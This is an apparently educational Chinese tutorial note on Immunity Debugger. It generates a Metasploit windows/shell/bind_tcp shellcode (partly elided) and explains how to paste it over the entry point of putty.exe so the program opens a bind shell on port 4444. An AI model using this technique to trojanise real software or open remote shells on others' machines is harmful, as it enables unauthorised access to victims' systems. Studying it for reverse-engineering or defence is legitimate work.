!!!笔记仅供学习交流使用,请勿进行其他用途!!!
Immunity Debugger是一个非常强大的程序分析工具,这里作者只笔记下其最简单的使用方式。
首先我们生成一个最简单的payload,并且输出它的C代码到命令行:
root@kali:~# msfpayload windows/shell/bind_tcp C /* * windows/shell/bind_tcp - 298 bytes (stage 1) * http://www.metasploit.com * VERBOSE=false, LPORT=4444, RHOST=, * EnableStageEncoding=false, PrependMigrate=false, * EXITFUNC=process, InitialAutoRunScript=, AutoRunScript= */ unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" 。。。。。 。。。。。 "\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9" "\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3"; /* * windows/shell/bind_tcp - 240 bytes (stage 2) * http://www.metasploit.com */ unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" 。。。。。。。
这里我们使用第一段代码,用文本工具去掉引号,\x,以及回车:
fce8890000006089e531d2648。。。。。。9c685f675ecc3
我们打开Immunity Debugger软件,然后打开一个可执行的文件,这里我们使用putty。如下图:
通常打开了可执行文件后,行光标会自动的转到第一行要启动的命令处,如下图:
如果随便点了下,找不到第一行启动的位置,可以通过下面的方式转回去,如下图:
这里我们找到第一行要启动的位置是为了简单处理。当我们确认了第一处启动位置后,我们可以在这里设置一个断点,然后将后续的执行代码修改为我们刚刚处理后的代码,这样当程序顺序执行后,就可以直接执行到我们的代码了。
如下图,我们将处理后的代码复制一下,然后通过二进制粘贴的方式粘贴到Immunity Debugger中,需要注意的是这里的粘贴是覆盖,不是插入,而且被覆盖的数目要大于等于要粘贴的数目,因此我们这里需要先选中一大块内容,然后选择粘贴。如下图,我们把程序第一行启动后的流程全给覆盖了。
弄好后,我们在粘贴代码的两端设置断点,如下图:
然后就可以启动程序进行调试了。如下图图标:
这里我们在程序运行到第一个断点的位置时看下网络连接,因为这是还没有运行我们粘贴的代码。然后在程序运行到第二个断点时再看下连接,这里我们粘贴的代码已经运行完毕了。两次连接如下图:
发表评论